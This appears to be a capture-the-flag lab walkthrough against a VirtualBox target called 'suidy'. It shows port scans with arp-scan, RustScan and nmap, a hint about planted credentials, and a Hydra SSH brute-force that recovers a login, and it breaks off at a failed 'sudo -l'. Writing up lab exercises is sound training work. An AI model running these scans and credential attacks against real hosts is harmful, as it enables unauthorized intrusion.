3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.442 seconds (104.83 hosts/sec). 3 responded
┌──(root㉿kali)-[~/Desktop/tmp/tmp] └─# rustscan -a 192.168.31.181 -r 1-65535 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Breaking and entering... into the world of open ports.
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 65435'. Open 192.168.31.181:22 Open 192.168.31.181:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-10 09:10 EDT Initiating ARP Ping Scan at 09:10 Scanning 192.168.31.181 [1 port] Completed ARP Ping Scan at 09:10, 0.09s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 09:10 Completed Parallel DNS resolution of 1 host. at 09:10, 0.02s elapsed DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 09:10 Scanning 192.168.31.181 [2 ports] Discovered open port 22/tcp on 192.168.31.181 Discovered open port 80/tcp on 192.168.31.181 Completed SYN Stealth Scan at 09:10, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.31.181 Host is up, received arp-response (0.00051s latency). Scanned at 2025-05-10 09:10:36 EDT for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:86:A5:04 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
She hates me because I FOUND THE REAL SECRET! I put in this directory a lot of .txt files. ONE of .txt files contains credentials like "theuser/thepass" to access to her system! All that you need is an small dict from Seclist! 她恨我，因为我发现了真正的秘密！我在这个目录中放了很多 .txt 文件。.txt 个文件之一包含访问她的系统的凭据，例如 “theuser/thepass”！您只需要 Seclist 中的一个小 dict！
┌──(root㉿kali)-[~/Desktop/tmp/tmp] └─# hydra -C 3 192.168.31.181 ssh -vV -f -I Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-10 09:30:22 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 34 login tries, ~3 tries per task [DATA] attacking ssh://192.168.31.181:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done .... [22][ssh] host: 192.168.31.181 login: theuser password: thepass [STATUS] attack finished for 192.168.31.181 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-10 09:30:26
theuser:thepass登录
提权ROOT
1 2
theuser@suidy:~$ sudo -l -bash: sudo: orden no encontrada
